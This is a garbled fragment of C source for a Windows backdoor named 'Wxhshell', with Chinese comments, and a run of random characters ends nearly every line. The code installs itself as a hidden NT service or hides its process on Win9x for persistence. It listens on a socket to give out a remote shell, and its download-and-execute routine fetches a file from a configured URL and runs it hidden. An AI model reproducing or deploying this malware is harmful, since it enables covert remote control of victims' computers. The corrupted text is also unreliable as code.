} PROCESS_BASIC_INFORMATION; F*X%N_n
w0$R`MOR+
PROCNTQSIP NtQueryInformationProcess; 5{HtJ?sKc5
9yDFHz w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +&?'KZ+Z_v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1=ip,D
tgK x 4
HANDLE hProcess; at=D&oy4"+
PROCESS_BASIC_INFORMATION pbi; G+fd.~aGE
:(+]b
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U* 4{"
if(NULL == hInst ) return 0; N]V/83_
yI lV[_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E+:.IuXW$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !>q?dhw@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N: A3kp
l~ CZW*/
if (!NtQueryInformationProcess) return 0; $e>/?Ss
8~}s 3j4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Euqjxz
if(!hProcess) return 0; VVgsLQd
Q;=6ag'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |x*{fXdMhr
*O!T!J
CloseHandle(hProcess); (21']x
ip<15;Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IPwj_jvw
if(hProcess==NULL) return 0; 56"#Syj
GJ.kkTMT
HMODULE hMod; -mE
char procName[255]; nMTLD
unsigned long cbNeeded; a|8|@,
~*jsB=XM/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xX[?L9RGz
bELIRM9
CloseHandle(hProcess); XulaPq
GU:r vS!
if(strstr(procName,"services")) return 1; // 以服务启动 YCir Oge
w906aV*s
return 0; // 注册表启动 x-w`KFS
} oNiToFbQu
$o/0A
// 主模块 C}n[?R
int StartWxhshell(LPSTR lpCmdLine) _!CK
{ i,mrMi
c#
SOCKET wsl; T@%;0Ro~
BOOL val=TRUE; k&MlQ2'!<
int port=0; 4 *Bp
struct sockaddr_in door; +9F^F>mu
A/ 7r:yO
if(wscfg.ws_autoins) Install(); *p" "YEN
83{x"G3>
port=atoi(lpCmdLine); )?!vJb"
y%{*uH}SL
if(port<=0) port=wscfg.ws_port; L@)b%Q@a
y_}K?
WSADATA data; :5TXA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bpk@ {E9
1m&!l6Jk
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^Nd|+}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r24\DvS
door.sin_family = AF_INET; 4]Un=?)I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ir9Q##f
door.sin_port = htons(port); nu\
WHlD%u
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g_rA_~dh
closesocket(wsl); dAu^{1+2
return 1; ",MK'\E
} j\XX:uU_
NYSj^k;^(z
if(listen(wsl,2) == INVALID_SOCKET) { ^BF@j4*~
closesocket(wsl); NZfo`iHAN
return 1; sf.E|]isW
} 7i-W*Mb:
Wxhshell(wsl); J]n7| L
WSACleanup(); O4 +SD
H$k![K6Uj
return 0; JL"
3#p}
#U",,*2
} oiTMP`Y
M^|"be~{'
// 以NT服务方式启动 9J-!o]f .b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EWuiaw.
{ Z-? Iip{
DWORD status = 0; O4b-A3:
DWORD specificError = 0xfffffff; S7Iu?R_I
6T{o3wc;
serviceStatus.dwServiceType = SERVICE_WIN32; y]z)jqX<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !#@4xeBPo
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vz7w{HY
serviceStatus.dwWin32ExitCode = 0; \,@Yl.,+
serviceStatus.dwServiceSpecificExitCode = 0; I:uQB!
serviceStatus.dwCheckPoint = 0; oP|pOs\$p
serviceStatus.dwWaitHint = 0; Hnd9T(UB
ijZydn
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z3X&<Y5
if (hServiceStatusHandle==0) return; s60:0 >
~n8*@9[
status = GetLastError(); MrKU,-
if (status!=NO_ERROR) Y1U"HqNl*
{ 8ACYuN\
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^H\-3/si*
serviceStatus.dwCheckPoint = 0; }<}`Q^Mlk
serviceStatus.dwWaitHint = 0; m>Z\
rqOK
serviceStatus.dwWin32ExitCode = status; JEm?26n X
serviceStatus.dwServiceSpecificExitCode = specificError; rr07\;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Lb(urf
return; | `)V^e_
} ard3yNQt
.qqb>7|q
serviceStatus.dwCurrentState = SERVICE_RUNNING; (8@hF#N1
serviceStatus.dwCheckPoint = 0; t_zY0{|P
serviceStatus.dwWaitHint = 0; ~ ];6hxv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [MQJ71(3
} mP5d!+[8
ok\/5oz
// 处理NT服务事件,比如:启动、停止 }VGI Y>v
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vhbj.eX.)
{ [:R P9r}
switch(fdwControl) LDi ezi
{ R.2KYhp,
case SERVICE_CONTROL_STOP: x3I%)@-Z
serviceStatus.dwWin32ExitCode = 0; lU50.7<08
serviceStatus.dwCurrentState = SERVICE_STOPPED; mtWx ?x
serviceStatus.dwCheckPoint = 0;
f_5R!;
serviceStatus.dwWaitHint = 0; Ng_rb KXC#
{ xo)?XFM2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YCB 3
} UTK.tg
return; ;FgEE%
case SERVICE_CONTROL_PAUSE: m[xf./@f{
serviceStatus.dwCurrentState = SERVICE_PAUSED; lc$@Jjg9
break; /m{?o
case SERVICE_CONTROL_CONTINUE: Vm1 c-,)3
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z_OqXo=
break; ;5oH6{7_Z
case SERVICE_CONTROL_INTERROGATE: LnRi+n[@7
break; 4}_w4@(
}; TNyY60E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9J;H.:WH
} 1TxhE XB
$OFFH[_z
// 标准应用程序主函数 %yuIXOJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "$:y03V
{ n xh/&%
0.Ol@fO
// 获取操作系统版本 J*lYH]s
OsIsNt=GetOsVer(); ZV<y=F*~f
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dgq[g_+l
|z7Crz
// 从命令行安装 u,SX`6%
if(strpbrk(lpCmdLine,"iI")) Install(); l& ^B
p_40V%y^
// 下载执行文件 vVN[bD<
if(wscfg.ws_downexe) { +!V%Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "RJk7]p`*
WinExec(wscfg.ws_filenam,SW_HIDE); f+*2K^B
} dBq,O%$oq
ohtn^o;C}
if(!OsIsNt) { zQ|x>3
// 如果时win9x,隐藏进程并且设置为注册表启动 cV!/
HideProc(); D>x'3WYR
StartWxhshell(lpCmdLine); 0!'M#'m
} B3+WOf5W
else +U/ "F|M
if(StartFromService()) 5~R{,]52
// 以服务方式启动 >93{=+
StartServiceCtrlDispatcher(DispatchTable); /G{3p&9
else &fy8,}
// 普通方式启动 .Zt/e>K&
StartWxhshell(lpCmdLine); 2u;fT{(
S+xGHi)
return 0; 5sCky)N
}